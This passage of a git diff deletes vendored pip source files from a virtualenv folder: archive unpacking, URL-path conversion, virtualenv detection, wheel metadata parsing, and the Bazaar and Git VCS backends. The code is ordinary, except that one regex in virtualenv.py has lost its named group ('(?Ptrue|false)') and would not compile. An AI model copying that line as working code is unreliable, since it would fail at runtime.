-                    exc,
-                )
-                continue
-            ensure_dir(os.path.dirname(path))
-            assert fp is not None
-            with open(path, "wb") as destfp:
-                shutil.copyfileobj(fp, destfp)
-            fp.close()
-            # Update the timestamp (useful for cython compiled files)
-            tar.utime(member, path)
-            # member have any execute permissions for user/group/world?
-            if member.mode & 0o111:
-                set_extracted_file_to_default_mode_plus_executable(path)
-
-
-def unpack_file(
-    filename: str,
-    location: str,
-    content_type: str | None = None,
-) -> None:
-    """Unpack ``filename`` into ``location``.
-
-    Archive format is chosen in order of decreasing reliability:
-    ``content_type``, then filename extension, then magic signature
-    (unambiguous matches only).
-    """
-    filename = os.path.realpath(filename)
-    zip_flatten = not filename.endswith(".whl")
-
-    def _unzip() -> None:
-        unzip_file(filename, location, flatten=zip_flatten)
-
-    def _untar() -> None:
-        untar_file(filename, location)
-
-    if content_type == "application/zip":
-        return _unzip()
-    if content_type == "application/x-gzip":
-        return _untar()
-
-    if filename.lower().endswith(ZIP_EXTENSIONS):
-        return _unzip()
-    if filename.lower().endswith(TAR_EXTENSIONS + BZ2_EXTENSIONS + XZ_EXTENSIONS):
-        return _untar()
-
-    # avoid ambiguous case where both signature checks return True
-    is_zipfile = zipfile.is_zipfile(filename)
-    is_tarfile = tarfile.is_tarfile(filename)
-    if is_zipfile and not is_tarfile:
-        return _unzip()
-    if is_tarfile and not is_zipfile:
-        return _untar()
-    if is_zipfile and is_tarfile:
-        logger.error("Ambiguous file signature in %s.", filename)
-
-    logger.critical(
-        "Cannot unpack file %s (downloaded from %s, content-type: %s); "
-        "cannot detect archive format",
-        filename,
-        location,
-        content_type,
-    )
-    raise InstallationError(f"Cannot determine archive format of {location}")
diff --git a/venv/Lib/site-packages/pip/_internal/utils/urls.py b/venv/Lib/site-packages/pip/_internal/utils/urls.py
deleted file mode 100644
index 2df515d4ae4bb5a956d92ce78f45ec88439f7d6a..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/urls.py
+++ /dev/null
@@ -1,58 +0,0 @@
-import os
-import string
-import urllib.parse  # noqa: F401
-
-from .compat import WINDOWS
-
-
-def path_to_url(path: str) -> str:
-    """
-    Convert a path to a file: URL.  The path will be made absolute and have
-    quoted path parts.
-    """
-    import urllib.request
-
-    path = os.path.normpath(os.path.abspath(path))
-    url = urllib.parse.urljoin("file://", urllib.request.pathname2url(path))
-    return url
-
-
-def url_to_path(url: str) -> str:
-    """
-    Convert a file: URL to a path.
-    """
-    import urllib.request
-
-    assert url.startswith(
-        "file:"
-    ), f"You can only turn file: urls into filenames (not {url!r})"
-
-    _, netloc, path, _, _ = urllib.parse.urlsplit(url)
-
-    if not netloc or netloc == "localhost":
-        # According to RFC 8089, same as empty authority.
-        netloc = ""
-    elif WINDOWS:
-        # If we have a UNC path, prepend UNC share notation.
-        netloc = "\\\\" + netloc
-    else:
-        raise ValueError(
-            f"non-local file URIs are not supported on this platform: {url!r}"
-        )
-
-    path = urllib.request.url2pathname(netloc + path)
-
-    # On Windows, urlsplit parses the path as something like "/C:/Users/foo".
-    # This creates issues for path-related functions like io.open(), so we try
-    # to detect and strip the leading slash.
-    if (
-        WINDOWS
-        and not netloc  # Not UNC.
-        and len(path) >= 3
-        and path[0] == "/"  # Leading slash to strip.
-        and path[1] in string.ascii_letters  # Drive letter.
-        and path[2:4] in (":", ":/")  # Colon + end of string, or colon + absolute path.
-    ):
-        path = path[1:]
-
-    return path
diff --git a/venv/Lib/site-packages/pip/_internal/utils/virtualenv.py b/venv/Lib/site-packages/pip/_internal/utils/virtualenv.py
deleted file mode 100644
index fa94813ae7ff9e828fd8148958f0765b81291c23..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/virtualenv.py
+++ /dev/null
@@ -1,71 +0,0 @@
-from __future__ import annotations
-
-import logging
-import os
-import re
-import sys
-
-logger = logging.getLogger(__name__)
-_INCLUDE_SYSTEM_SITE_PACKAGES_REGEX = re.compile(
-    r"include-system-site-packages\s*=\s*(?Ptrue|false)"
-)
-
-
-def running_under_virtualenv() -> bool:
-    """Checks if sys.base_prefix and sys.prefix match.
-
-    This handles PEP 405 compliant virtual environments.
-    """
-    return sys.prefix != getattr(sys, "base_prefix", sys.prefix)
-
-
-def _get_pyvenv_cfg_lines() -> list[str] | None:
-    """Reads {sys.prefix}/pyvenv.cfg and returns its contents as list of lines
-
-    Returns None, if it could not read/access the file.
-    """
-    pyvenv_cfg_file = os.path.join(sys.prefix, "pyvenv.cfg")
-    try:
-        # Although PEP 405 does not specify, the built-in venv module always
-        # writes with UTF-8. (pypa/pip#8717)
-        with open(pyvenv_cfg_file, encoding="utf-8") as f:
-            return f.read().splitlines()  # avoids trailing newlines
-    except OSError:
-        return None
-
-
-def _no_global_under_venv() -> bool:
-    """Check `{sys.prefix}/pyvenv.cfg` for system site-packages inclusion
-
-    PEP 405 specifies that when system site-packages are not supposed to be
-    visible from a virtual environment, `pyvenv.cfg` must contain the following
-    line:
-
-        include-system-site-packages = false
-
-    Additionally, log a warning if accessing the file fails.
-    """
-    cfg_lines = _get_pyvenv_cfg_lines()
-    if cfg_lines is None:
-        # We're not in a "sane" venv, so assume there is no system
-        # site-packages access (since that's PEP 405's default state).
-        logger.warning(
-            "Could not access 'pyvenv.cfg' despite a virtual environment "
-            "being active. Assuming global site-packages is not accessible "
-            "in this environment."
-        )
-        return True
-
-    for line in cfg_lines:
-        match = _INCLUDE_SYSTEM_SITE_PACKAGES_REGEX.match(line)
-        if match is not None and match.group("value") == "false":
-            return True
-    return False
-
-
-def virtualenv_no_global() -> bool:
-    """Returns a boolean, whether running in venv with no system site-packages."""
-    if running_under_virtualenv():
-        return _no_global_under_venv()
-
-    return False
diff --git a/venv/Lib/site-packages/pip/_internal/utils/wheel.py b/venv/Lib/site-packages/pip/_internal/utils/wheel.py
deleted file mode 100644
index 789e73629afb7f0984a2fe04f7b98d5395e48a11..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/wheel.py
+++ /dev/null
@@ -1,132 +0,0 @@
-"""Support functions for working with wheel files."""
-
-import logging
-from email.message import Message
-from email.parser import Parser
-from zipfile import BadZipFile, ZipFile
-
-from pip._vendor.packaging.utils import canonicalize_name
-
-from pip._internal.exceptions import UnsupportedWheel
-
-VERSION_COMPATIBLE = (1, 0)
-
-
-logger = logging.getLogger(__name__)
-
-
-def parse_wheel(wheel_zip: ZipFile, name: str) -> tuple[str, Message]:
-    """Extract information from the provided wheel, ensuring it meets basic
-    standards.
-
-    Returns the name of the .dist-info directory and the parsed WHEEL metadata.
-    """
-    try:
-        info_dir = wheel_dist_info_dir(wheel_zip, name)
-        metadata = wheel_metadata(wheel_zip, info_dir)
-        version = wheel_version(metadata)
-    except UnsupportedWheel as e:
-        raise UnsupportedWheel(f"{name} has an invalid wheel, {e}")
-
-    check_compatibility(version, name)
-
-    return info_dir, metadata
-
-
-def wheel_dist_info_dir(source: ZipFile, name: str) -> str:
-    """Returns the name of the contained .dist-info directory.
-
-    Raises AssertionError or UnsupportedWheel if not found, >1 found, or
-    it doesn't match the provided name.
-    """
-    # Zip file path separators must be /
-    subdirs = {p.split("/", 1)[0] for p in source.namelist()}
-
-    info_dirs = [s for s in subdirs if s.endswith(".dist-info")]
-
-    if not info_dirs:
-        raise UnsupportedWheel(".dist-info directory not found")
-
-    if len(info_dirs) > 1:
-        raise UnsupportedWheel(
-            "multiple .dist-info directories found: {}".format(", ".join(info_dirs))
-        )
-
-    info_dir = info_dirs[0]
-
-    info_dir_name = canonicalize_name(info_dir)
-    canonical_name = canonicalize_name(name)
-    if not info_dir_name.startswith(canonical_name):
-        raise UnsupportedWheel(
-            f".dist-info directory {info_dir!r} does not start with {canonical_name!r}"
-        )
-
-    return info_dir
-
-
-def read_wheel_metadata_file(source: ZipFile, path: str) -> bytes:
-    try:
-        return source.read(path)
-        # BadZipFile for general corruption, KeyError for missing entry,
-        # and RuntimeError for password-protected files
-    except (BadZipFile, KeyError, RuntimeError) as e:
-        raise UnsupportedWheel(f"could not read {path!r} file: {e!r}")
-
-
-def wheel_metadata(source: ZipFile, dist_info_dir: str) -> Message:
-    """Return the WHEEL metadata of an extracted wheel, if possible.
-    Otherwise, raise UnsupportedWheel.
-    """
-    path = f"{dist_info_dir}/WHEEL"
-    # Zip file path separators must be /
-    wheel_contents = read_wheel_metadata_file(source, path)
-
-    try:
-        wheel_text = wheel_contents.decode()
-    except UnicodeDecodeError as e:
-        raise UnsupportedWheel(f"error decoding {path!r}: {e!r}")
-
-    # FeedParser (used by Parser) does not raise any exceptions. The returned
-    # message may have .defects populated, but for backwards-compatibility we
-    # currently ignore them.
-    return Parser().parsestr(wheel_text)
-
-
-def wheel_version(wheel_data: Message) -> tuple[int, ...]:
-    """Given WHEEL metadata, return the parsed Wheel-Version.
-    Otherwise, raise UnsupportedWheel.
-    """
-    version_text = wheel_data["Wheel-Version"]
-    if version_text is None:
-        raise UnsupportedWheel("WHEEL is missing Wheel-Version")
-
-    version = version_text.strip()
-
-    try:
-        return tuple(map(int, version.split(".")))
-    except ValueError:
-        raise UnsupportedWheel(f"invalid Wheel-Version: {version!r}")
-
-
-def check_compatibility(version: tuple[int, ...], name: str) -> None:
-    """Raises errors or warns if called with an incompatible Wheel-Version.
-
-    pip should refuse to install a Wheel-Version that's a major series
-    ahead of what it's compatible with (e.g 2.0 > 1.1); and warn when
-    installing a version only minor version ahead (e.g 1.2 > 1.1).
-
-    version: a 2-tuple representing a Wheel-Version (Major, Minor)
-    name: name of wheel or package to raise exception about
-
-    :raises UnsupportedWheel: when an incompatible Wheel-Version is given
-    """
-    if version[0] > VERSION_COMPATIBLE[0]:
-        raise UnsupportedWheel(
-            "{}'s Wheel-Version ({}) is not compatible with this version "
-            "of pip".format(name, ".".join(map(str, version)))
-        )
-    elif version > VERSION_COMPATIBLE:
-        logger.warning(
-            "Installing from a newer Wheel-Version (%s)",
-            ".".join(map(str, version)),
-        )
diff --git a/venv/Lib/site-packages/pip/_internal/vcs/__init__.py b/venv/Lib/site-packages/pip/_internal/vcs/__init__.py
deleted file mode 100644
index b6beddbe6d24d2949dc89ed07abfebd59d8b63b9..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/vcs/__init__.py
+++ /dev/null
@@ -1,15 +0,0 @@
-# Expose a limited set of classes and functions so callers outside of
-# the vcs package don't need to import deeper than `pip._internal.vcs`.
-# (The test directory may still need to import from a vcs sub-package.)
-# Import all vcs modules to register each VCS in the VcsSupport object.
-import pip._internal.vcs.bazaar
-import pip._internal.vcs.git
-import pip._internal.vcs.mercurial
-import pip._internal.vcs.subversion  # noqa: F401
-from pip._internal.vcs.versioncontrol import (  # noqa: F401
-    RemoteNotFoundError,
-    RemoteNotValidError,
-    is_url,
-    make_vcs_requirement_url,
-    vcs,
-)
diff --git a/venv/Lib/site-packages/pip/_internal/vcs/bazaar.py b/venv/Lib/site-packages/pip/_internal/vcs/bazaar.py
deleted file mode 100644
index 3a8a21e62518768e3476452c554a8f9d2546f43c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/vcs/bazaar.py
+++ /dev/null
@@ -1,130 +0,0 @@
-from __future__ import annotations
-
-import logging
-
-from pip._internal.utils.misc import HiddenText, display_path
-from pip._internal.utils.subprocess import make_command
-from pip._internal.utils.urls import path_to_url
-from pip._internal.vcs.versioncontrol import (
-    AuthInfo,
-    RemoteNotFoundError,
-    RevOptions,
-    VersionControl,
-    vcs,
-)
-
-logger = logging.getLogger(__name__)
-
-
-class Bazaar(VersionControl):
-    name = "bzr"
-    dirname = ".bzr"
-    repo_name = "branch"
-    schemes = (
-        "bzr+http",
-        "bzr+https",
-        "bzr+ssh",
-        "bzr+sftp",
-        "bzr+ftp",
-        "bzr+lp",
-        "bzr+file",
-    )
-
-    @staticmethod
-    def get_base_rev_args(rev: str) -> list[str]:
-        return ["-r", rev]
-
-    def fetch_new(
-        self, dest: str, url: HiddenText, rev_options: RevOptions, verbosity: int
-    ) -> None:
-        rev_display = rev_options.to_display()
-        logger.info(
-            "Checking out %s%s to %s",
-            url,
-            rev_display,
-            display_path(dest),
-        )
-        if verbosity <= 0:
-            flags = ["--quiet"]
-        elif verbosity == 1:
-            flags = []
-        else:
-            flags = [f"-{'v'*verbosity}"]
-        cmd_args = make_command(
-            "checkout", "--lightweight", *flags, rev_options.to_args(), url, dest
-        )
-        self.run_command(cmd_args)
-
-    def switch(
-        self,
-        dest: str,
-        url: HiddenText,
-        rev_options: RevOptions,
-        verbosity: int = 0,
-    ) -> None:
-        self.run_command(make_command("switch", url), cwd=dest)
-
-    def update(
-        self,
-        dest: str,
-        url: HiddenText,
-        rev_options: RevOptions,
-        verbosity: int = 0,
-    ) -> None:
-        flags = []
-
-        if verbosity <= 0:
-            flags.append("-q")
-
-        output = self.run_command(
-            make_command("info"), show_stdout=False, stdout_only=True, cwd=dest
-        )
-        if output.startswith("Standalone "):
-            # Older versions of pip used to create standalone branches.
-            # Convert the standalone branch to a checkout by calling "bzr bind".
-            cmd_args = make_command("bind", *flags, url)
-            self.run_command(cmd_args, cwd=dest)
-
-        cmd_args = make_command("update", *flags, rev_options.to_args())
-        self.run_command(cmd_args, cwd=dest)
-
-    @classmethod
-    def get_url_rev_and_auth(cls, url: str) -> tuple[str, str | None, AuthInfo]:
-        # hotfix the URL scheme after removing bzr+ from bzr+ssh:// re-add it
-        url, rev, user_pass = super().get_url_rev_and_auth(url)
-        if url.startswith("ssh://"):
-            url = "bzr+" + url
-        return url, rev, user_pass
-
-    @classmethod
-    def get_remote_url(cls, location: str) -> str:
-        urls = cls.run_command(
-            ["info"], show_stdout=False, stdout_only=True, cwd=location
-        )
-        for line in urls.splitlines():
-            line = line.strip()
-            for x in ("checkout of branch: ", "parent branch: "):
-                if line.startswith(x):
-                    repo = line.split(x)[1]
-                    if cls._is_local_repository(repo):
-                        return path_to_url(repo)
-                    return repo
-        raise RemoteNotFoundError
-
-    @classmethod
-    def get_revision(cls, location: str) -> str:
-        revision = cls.run_command(
-            ["revno"],
-            show_stdout=False,
-            stdout_only=True,
-            cwd=location,
-        )
-        return revision.splitlines()[-1]
-
-    @classmethod
-    def is_commit_id_equal(cls, dest: str, name: str | None) -> bool:
-        """Always assume the versions don't match"""
-        return False
-
-
-vcs.register(Bazaar)
diff --git a/venv/Lib/site-packages/pip/_internal/vcs/git.py b/venv/Lib/site-packages/pip/_internal/vcs/git.py
deleted file mode 100644
index 5cc393f92bf177b84bf3953713360d3c533a571f..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/vcs/git.py
+++ /dev/null
@@ -1,574 +0,0 @@
-from __future__ import annotations
-
-import logging
-import os.path
-import pathlib
-import re
-import urllib.parse
-from dataclasses import replace
-from typing import Any
-
-from pip._internal.exceptions import BadCommand, InstallationError
-from pip._internal.utils.misc import HiddenText, display_path, hide_url, strtobool
-from pip._internal.utils.subprocess import make_command
-from pip._internal.vcs.versioncontrol import (
-    AuthInfo,
-    RemoteNotFoundError,
-    RemoteNotValidError,
-    RevOptions,
-    VersionControl,
-    find_path_to_project_root_from_repo_root,
-    vcs,
-)
-
-urlsplit = urllib.parse.urlsplit
-urlunsplit = urllib.parse.urlunsplit
-
-
-logger = logging.getLogger(__name__)
-
-
-GIT_VERSION_REGEX = re.compile(
-    r"^git version "  # Prefix.
-    r"(\d+)"  # Major.
-    r"\.(\d+)"  # Dot, minor.
-    r"(?:\.(\d+))?"  # Optional dot, patch.
-    r".*$"  # Suffix, including any pre- and post-release segments we don't care about.
-)
-
-HASH_REGEX = re.compile("^[a-fA-F0-9]{40}$")
-
-# SCP (Secure copy protocol) shorthand. e.g. 'git@example.com:foo/bar.git'
-SCP_REGEX = re.compile(
-    r"""^
-    # Optional user, e.g. 'git@'
-    (\w+@)?
-    # Server, e.g. 'github.com'.
-    ([^/:]+):
-    # The server-side path. e.g. 'user/project.git'. Must start with an
-    # alphanumeric character so as not to be confusable with a Windows paths
-    # like 'C:/foo/bar' or 'C:\foo\bar'.
-    (\w[^:]*)
-    $""",
-    re.VERBOSE,
-)
-
-
-def looks_like_hash(sha: str) -> bool:
-    return bool(HASH_REGEX.match(sha))
-
-
-class Git(VersionControl):
-    name = "git"
-    dirname = ".git"
-    repo_name = "clone"
-    schemes = (
-        "git+http",
-        "git+https",
-        "git+ssh",
-        "git+git",
-        "git+file",
-    )
-    # Prevent the user's environment variables from interfering with pip:
-    # https://github.com/pypa/pip/issues/1130
-    unset_environ = ("GIT_DIR", "GIT_WORK_TREE")
-    default_arg_rev = "HEAD"
-
-    @staticmethod
-    def get_base_rev_args(rev: str) -> list[str]:
-        return [rev]
-
-    @classmethod
-    def run_command(cls, *args: Any, **kwargs: Any) -> str:
-        if os.environ.get("PIP_NO_INPUT"):
-            extra_environ = kwargs.get("extra_environ", {})
-            extra_environ["GIT_TERMINAL_PROMPT"] = "0"
-            extra_environ["GIT_SSH_COMMAND"] = "ssh -oBatchMode=yes"
-            kwargs["extra_environ"] = extra_environ
-        return super().run_command(*args, **kwargs)
-
-    def is_immutable_rev_checkout(self, url: str, dest: str) -> bool:
-        _, rev_options = self.get_url_rev_options(hide_url(url))
-        if not rev_options.rev:
-            return False
-        if not self.is_commit_id_equal(dest, rev_options.rev):
-            # the current commit is different from rev,
-            # which means rev was something else than a commit hash
-            return False
-        # return False in the rare case rev is both a commit hash
-        # and a tag or a branch; we don't want to cache in that case
-        # because that branch/tag could point to something else in the future
-        is_tag_or_branch = bool(self.get_revision_sha(dest, rev_options.rev)[0])
-        return not is_tag_or_branch
-
-    def get_git_version(self) -> tuple[int, ...]:
-        version = self.run_command(
-            ["version"],
-            command_desc="git version",
-            show_stdout=False,
-            stdout_only=True,
-        )
-        match = GIT_VERSION_REGEX.match(version)
-        if not match:
-            logger.warning("Can't parse git version: %s", version)
-            return ()
-        return (int(match.group(1)), int(match.group(2)))
-
-    @classmethod
-    def get_current_branch(cls, location: str) -> str | None:
-        """
-        Return the current branch, or None if HEAD isn't at a branch
-        (e.g. detached HEAD).
-        """
-        # git-symbolic-ref exits with empty stdout if "HEAD" is a detached
-        # HEAD rather than a symbolic ref.  In addition, the -q causes the
-        # command to exit with status code 1 instead of 128 in this case
-        # and to suppress the message to stderr.
-        args = ["symbolic-ref", "-q", "HEAD"]
-        output = cls.run_command(
-            args,
-            extra_ok_returncodes=(1,),
-            show_stdout=False,
-            stdout_only=True,
-            cwd=location,
-        )
-        ref = output.strip()
-
-        if ref.startswith("refs/heads/"):
-            return ref[len("refs/heads/") :]
-
-        return None
-
-    @classmethod
-    def get_revision_sha(cls, dest: str, rev: str) -> tuple[str | None, bool]:
-        """
-        Return (sha_or_none, is_branch), where sha_or_none is a commit hash
-        if the revision names a remote branch or tag, otherwise None.
-
-        Args:
-          dest: the repository directory.
-          rev: the revision name.
-        """
-        # Pass rev to pre-filter the list.
-        output = cls.run_command(
-            ["show-ref", rev],
-            cwd=dest,
-            show_stdout=False,
-            stdout_only=True,
-            on_returncode="ignore",
-        )
-        refs = {}
-        # NOTE: We do not use splitlines here since that would split on other
-        #       unicode separators, which can be maliciously used to install a
-        #       different revision.
-        for line in output.strip().split("\n"):
-            line = line.rstrip("\r")
-            if not line:
-                continue
-            try:
-                ref_sha, ref_name = line.split(" ", maxsplit=2)
-            except ValueError:
-                # Include the offending line to simplify troubleshooting if
-                # this error ever occurs.
-                raise ValueError(f"unexpected show-ref line: {line!r}")
-
-            refs[ref_name] = ref_sha
-
-        branch_ref = f"refs/remotes/origin/{rev}"
-        tag_ref = f"refs/tags/{rev}"
-
-        sha = refs.get(branch_ref)
-        if sha is not None:
-            return (sha, True)
-
-        sha = refs.get(tag_ref)
-
-        return (sha, False)
-
-    @classmethod
-    def _should_fetch(cls, dest: str, rev: str) -> bool:
-        """
-        Return true if rev is a ref or is a commit that we don't have locally.
-
-        Branches and tags are not considered in this method because they are
-        assumed to be always available locally (which is a normal outcome of
-        ``git clone`` and ``git fetch --tags``).
-        """
-        if rev.startswith("refs/"):
-            # Always fetch remote refs.
-            return True
-
-        if not looks_like_hash(rev):
-            # Git fetch would fail with abbreviated commits.
-            return False
-
-        if cls.has_commit(dest, rev):
-            # Don't fetch if we have the commit locally.
-            return False
-
-        return True
-
-    @classmethod
-    def resolve_revision(
-        cls, dest: str, url: HiddenText, rev_options: RevOptions
-    ) -> RevOptions:
-        """
-        Resolve a revision to a new RevOptions object with the SHA1 of the
-        branch, tag, or ref if found.
-
-        Args:
-          rev_options: a RevOptions object.
-        """
-        rev = rev_options.arg_rev
-        # The arg_rev property's implementation for Git ensures that the
-        # rev return value is always non-None.
-        assert rev is not None
-
-        sha, is_branch = cls.get_revision_sha(dest, rev)
-
-        if sha is not None:
-            rev_options = rev_options.make_new(sha)
-            rev_options = replace(rev_options, branch_name=(rev if is_branch else None))
-
-            return rev_options
-
-        # Do not show a warning for the common case of something that has
-        # the form of a Git commit hash.
-        if not looks_like_hash(rev):
-            logger.info(
-                "Did not find branch or tag '%s', assuming revision or ref.",
-                rev,
-            )
-
-        if not cls._should_fetch(dest, rev):
-            return rev_options
-
-        # fetch the requested revision
-        cls.run_command(
-            make_command("fetch", "-q", url, rev_options.to_args()),
-            cwd=dest,
-        )
-        # Change the revision to the SHA of the ref we fetched
-        sha = cls.get_revision(dest, rev="FETCH_HEAD")
-        rev_options = rev_options.make_new(sha)
-
-        return rev_options
-
-    @classmethod
-    def is_commit_id_equal(cls, dest: str, name: str | None) -> bool:
-        """
-        Return whether the current commit hash equals the given name.
-
-        Args:
-          dest: the repository directory.
-          name: a string name.
-        """
-        if not name:
-            # Then avoid an unnecessary subprocess call.
-            return False
-
-        return cls.get_revision(dest) == name
-
-    def fetch_new(
-        self, dest: str, url: HiddenText, rev_options: RevOptions, verbosity: int
-    ) -> None:
-        rev_display = rev_options.to_display()
-        logger.info("Cloning %s%s to %s", url, rev_display, display_path(dest))
-        if verbosity <= 0:
-            flags: tuple[str, ...] = ("--quiet",)
-        elif verbosity == 1:
-            flags = ()
-        else:
-            flags = ("--verbose", "--progress")
-        if self.get_git_version() >= (2, 17) and not strtobool(
-            os.environ.get("PIP_NO_PARTIAL_CLONE_FOR_BROKEN_GIT_SERVER", "no")
-        ):
-            # Git added support for partial clone in 2.17
-            # https://git-scm.com/docs/partial-clone
-            # Speeds up cloning by functioning without a complete copy of repository
-            self.run_command(
-                make_command(
-                    "clone",
-                    "--filter=blob:none",
-                    *flags,
-                    url,
-                    dest,
-                )
-            )
-        else:
-            self.run_command(make_command("clone", *flags, url, dest))
-
-        if rev_options.rev:
-            # Then a specific revision was requested.
-            rev_options = self.resolve_revision(dest, url, rev_options)
-            branch_name = getattr(rev_options, "branch_name", None)
-            logger.debug("Rev options %s, branch_name %s", rev_options, branch_name)
-            if branch_name is None:
-                # Only do a checkout if the current commit id doesn't match
-                # the requested revision.
-                if not self.is_commit_id_equal(dest, rev_options.rev):
-                    cmd_args = make_command(
-                        "checkout",
-                        "-q",
-                        rev_options.to_args(),
-                    )
-                    self.run_command(cmd_args, cwd=dest)
-            elif self.get_current_branch(dest) != branch_name:
-                # Then a specific branch was requested, and that branch
-                # is not yet checked out.
-                track_branch = f"origin/{branch_name}"
-                cmd_args = [
-                    "checkout",
-                    "-b",
-                    branch_name,
-                    "--track",
-                    track_branch,
-                ]
-                self.run_command(cmd_args, cwd=dest)
-        else:
-            sha = self.get_revision(dest)
-            rev_options = rev_options.make_new(sha)
-
-        logger.info("Resolved %s to commit %s", url, rev_options.rev)
-
-        #: repo may contain submodules
-        self.update_submodules(dest, verbosity=verbosity)
-
-    def switch(
-        self,
-        dest: str,
-        url: HiddenText,
-        rev_options: RevOptions,
-        verbosity: int = 0,
-    ) -> None:
-        self.run_command(
-            make_command("config", "remote.origin.url", url),
-            cwd=dest,
-        )
-
-        extra_flags = []
-
-        if verbosity <= 0:
-            extra_flags.append("-q")
-
-        cmd_args = make_command("checkout", *extra_flags, rev_options.to_args())
-        self.run_command(cmd_args, cwd=dest)
-
-        self.update_submodules(dest, verbosity=verbosity)
-
-    def update(
-        self,
-        dest: str,
-        url: HiddenText,
-        rev_options: RevOptions,
-        verbosity: int = 0,
-    ) -> None:
-        extra_flags = []
-
-        if verbosity <= 0:
-            extra_flags.append("-q")
-
-        # First fetch changes from the default remote
-        if self.get_git_version() >= (1, 9):
-            # fetch tags in addition to everything else
-            self.run_command(["fetch", "--tags", *extra_flags], cwd=dest)
-        else:
-            self.run_command(["fetch", *extra_flags], cwd=dest)
-        # Then reset to wanted revision (maybe even origin/master)
-        rev_options = self.resolve_revision(dest, url, rev_options)
-        cmd_args = make_command(
-            "reset",
-            "--hard",
-            *extra_flags,
-            rev_options.to_args(),
-        )
-        self.run_command(cmd_args, cwd=dest)
-        #: update submodules
-        self.update_submodules(dest, verbosity=verbosity)
-
-    @classmethod
-    def get_remote_url(cls, location: str) -> str:
-        """
-        Return URL of the first remote encountered.
-
-        Raises RemoteNotFoundError if the repository does not have a remote
-        url configured.
-        """
-        # We need to pass 1 for extra_ok_returncodes since the command
-        # exits with return code 1 if there are no matching lines.
-        stdout = cls.run_command(
-            ["config", "--get-regexp", r"remote\..*\.url"],
-            extra_ok_returncodes=(1,),
-            show_stdout=False,
-            stdout_only=True,
-            cwd=location,
-        )
-        remotes = stdout.splitlines()
-        try:
-            found_remote = remotes[0]
-        except IndexError:
-            raise RemoteNotFoundError
-
-        for remote in remotes:
-            if remote.startswith("remote.origin.url "):
-                found_remote = remote
-                break
-        url = found_remote.split(" ")[1]
-        return cls._git_remote_to_pip_url(url.strip())
-
-    @staticmethod
-    def _git_remote_to_pip_url(url: str) -> str:
-        """
-        Convert a remote url from what git uses to what pip accepts.
-
-        There are 3 legal forms **url** may take:
-
-            1. A fully qualified url: ssh://git@example.com/foo/bar.git
-            2. A local project.git folder: /path/to/bare/repository.git
-            3. SCP shorthand for form 1: git@example.com:foo/bar.git
-
-        Form 1 is output as-is. Form 2 must be converted to URI and form 3 must
-        be converted to form 1.
-
-        See the corresponding test test_git_remote_url_to_pip() for examples of
-        sample inputs/outputs.
-        """
-        if re.match(r"\w+://", url):
-            # This is already valid. Pass it though as-is.
-            return url
-        if os.path.exists(url):
-            # A local bare remote (git clone --mirror).
-            # Needs a file:// prefix.
-            return pathlib.Path(url).as_uri()
-        scp_match = SCP_REGEX.match(url)
-        if scp_match:
-            # Add an ssh:// prefix and replace the ':' with a '/'.
-            return scp_match.expand(r"ssh://\1\2/\3")
-        # Otherwise, bail out.
-        raise RemoteNotValidError(url)
-
-    @classmethod
-    def has_commit(cls, location: str, rev: str) -> bool:
-        """
-        Check if rev is a commit that is available in the local repository.
-        """
-        try:
-            cls.run_command(
-                ["rev-parse", "-q", "--verify", rev + "^{commit}"],
-                cwd=location,
-                log_failed_cmd=False,
-            )
-        except InstallationError:
-            return False
-        else:
-            return True
-
-    @classmethod
-    def get_revision(cls, location: str, rev: str | None = None) -> str:
-        if rev is None:
-            rev = "HEAD"
-        current_rev = cls.run_command(
-            ["rev-parse", rev],
-            show_stdout=False,
-            stdout_only=True,
-            cwd=location,
-        )
-        return current_rev.strip()
-
-    @classmethod
-    def get_subdirectory(cls, location: str) -> str | None:
-        """
-        Return the path to Python project root, relative to the repo root.
-        Return None if the project root is in the repo root.
-        """
-        # find the repo root
-        git_dir = cls.run_command(
-            ["rev-parse", "--git-dir"],
-            show_stdout=False,
-            stdout_only=True,
-            cwd=location,
-        ).strip()
-        if not os.path.isabs(git_dir):
-            git_dir = os.path.join(location, git_dir)
-        repo_root = os.path.abspath(os.path.join(git_dir, ".."))
-        return find_path_to_project_root_from_repo_root(location, repo_root)
-
-    @classmethod
-    def get_url_rev_and_auth(cls, url: str) -> tuple[str, str | None, AuthInfo]:
-        """
-        Prefixes stub URLs like 'user@hostname:user/repo.git' with 'ssh://'.
-        That's required because although they use SSH they sometimes don't
-        work with a ssh:// scheme (e.g. GitHub). But we need a scheme for
-        parsing. Hence we remove it again afterwards and return it as a stub.
-        """
-        import urllib.request
-
-        # Works around an apparent Git bug
-        # (see https://article.gmane.org/gmane.comp.version-control.git/146500)
-        scheme, netloc, path, query, fragment = urlsplit(url)
-        if scheme.endswith("file"):
-            initial_slashes = path[: -len(path.lstrip("/"))]
-            newpath = initial_slashes + urllib.request.url2pathname(path).replace(
-                "\\", "/"
-            ).lstrip("/")
-            after_plus = scheme.find("+") + 1
-            url = scheme[:after_plus] + urlunsplit(
-                (scheme[after_plus:], netloc, newpath, query, fragment),
-            )
-
-        if "://" not in url:
-            assert "file:" not in url
-            url = url.replace("git+", "git+ssh://")
-            url, rev, user_pass = super().get_url_rev_and_auth(url)
-            url = url.replace("ssh://", "")
-        else:
-            url, rev, user_pass = super().get_url_rev_and_auth(url)
-
-        return url, rev, user_pass
-
-    @classmethod
-    def update_submodules(cls, location: str, verbosity: int = 0) -> None:
-        argv = ["submodule", "update", "--init", "--recursive"]
-
-        if verbosity <= 0:
-            argv.append("-q")
-
-        if not os.path.exists(os.path.join(location, ".gitmodules")):
-            return
-        cls.run_command(
-            argv,
-            cwd=location,
-        )
-
-    @classmethod
-    def get_repository_root(cls, location: str) -> str | None:
-        loc = super().get_repository_root(location)
-        if loc:
-            return loc
-        try:
-            r = cls.run_command(
-                ["rev-parse", "--show-toplevel"],
-                cwd=location,
-                show_stdout=False,
-                stdout_only=True,
-                on_returncode="raise",
-                log_failed_cmd=False,
-            )
-        except BadCommand:
-            logger.debug(
-                "could not determine if %s is under git control "
-                "because git is not available",
-                location,
-            )
-            return None
-        except InstallationError:
-            return None
-        return os.path.normpath(r.rstrip("\r\n"))
-
-    @staticmethod
-    def should_add_vcs_url_prefix(repo_url: str) -> bool:
